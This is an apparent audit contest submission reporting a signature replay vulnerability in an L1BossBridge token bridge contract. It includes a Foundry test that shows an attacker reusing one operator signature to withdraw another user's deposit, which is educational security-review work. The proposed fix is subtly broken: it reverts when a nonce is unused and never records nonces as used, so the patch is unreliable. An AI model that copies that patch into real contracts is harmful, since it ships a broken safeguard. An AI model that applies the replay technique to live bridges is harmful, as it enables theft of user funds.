Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Replay Attack in `L1BossBridge::withdrawTokensToL1` and `L1BossBridge::sendToL1`

Summary

L1BossBridge::withdrawTokensToL1 and L1BossBridge::sendToL1 do not check whether the signature is used or not.

Vulnerability Details

Any user with a valid signature can repeatedly use it to withdraw funds from the Bridge. L1BossBridge does not check if the signature has been used previously. This could lead to funds being stolen from the Bridge.

Impact

The following test case demonstrates the impact. Any user with a valid signature can use it indefinitely to withdraw funds from the bridge.

Test Case Steps:

Step 1. An attacker deposits some funds into the bridge and obtains a signature.

Step 2. The attacker indefinitely uses the signature issued by the operator to withdraw funds.

POC

Test case to demonstrate a replay attack.
function test_user_can_reuse_signature() public {
// 1. setup
address attacker = makeAddr("attacker");
address attackerInL2 = makeAddr("attackerInL2");
uint256 depositAmount = 10e18;
vm.prank(deployer);
//** send some tokens to attacker
token.transfer(address(attacker), 20e18);
vm.startPrank(attacker);
uint256 attackerInitialBalance = token.balanceOf(attacker);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(attacker, attackerInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(
token.balanceOf(address(attacker)),
attackerInitialBalance - depositAmount
);
//** operator issues a signature
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(attacker, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s);
assertEq(token.balanceOf(address(attacker)), attackerInitialBalance);
assertEq(token.balanceOf(address(vault)), 0);
vm.stopPrank();
//** A user desposts amount to Bridge
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
// check that valut has balance sent by `user`
assertEq(token.balanceOf(address(vault)), depositAmount);
vm.stopPrank();
// 2. Replay attack
//** The attacker has a signature that they can reuse to withdraw a balance from the bridge again.
vm.startPrank(attacker);
uint256 attackerBalanceBeforeAttack = token.balanceOf(attacker);
//** The attacker is reusing the same signature that was previously issued.
tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s);
assertEq(
token.balanceOf(address(attacker)),
attackerBalanceBeforeAttack + depositAmount
);
}

Tools Used

Foundry

Recommendations

Issue signatures with a nonce and block the usage of already used signatures.

contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
++ // New Mapping to track used nonce
++ mapping(uint256 => bool) private _nonce;
++ // New ERROR
++ error L1BossBridge__UsedNonce();
/*
* @notice This is the function responsible for withdrawing tokens from L2 to L1.
* Our L2 will have a similar mechanism for withdrawing tokens from L1 to L2.
* @notice The signature is required to prevent replay attacks.
*
* @param to The address of the user who will receive the tokens on L1
* @param amount The amount of tokens to withdraw
* @param v The v value of the signature
* @param r The r value of the signature
* @param s The s value of the signature
*/
function withdrawTokensToL1(
address to,
uint256 amount,
++ uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
++ nonce,
abi.encodeCall(
IERC20.transferFrom,
(address(vault), to, amount)
)
)
);
}
/*
* @notice This is the function responsible for withdrawing ETH from L2 to L1.
*
* @param v The v value of the signature
* @param r The r value of the signature
* @param s The s value of the signature
* @param message The message/data to be sent to L1 (can be blank)
*/
function sendToL1(
uint8 v,
bytes32 r,
bytes32 s,
bytes memory message
) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(
MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
v,
r,
s
);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, uint256 nonce, bytes memory data) = abi
.decode(message, (address, uint256, uint256, bytes));
++ if (!_nonce[nonce]) {
++ revert L1BossBridge__UsedNonce();
++ }
(bool success, ) = target.call{value: value}(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.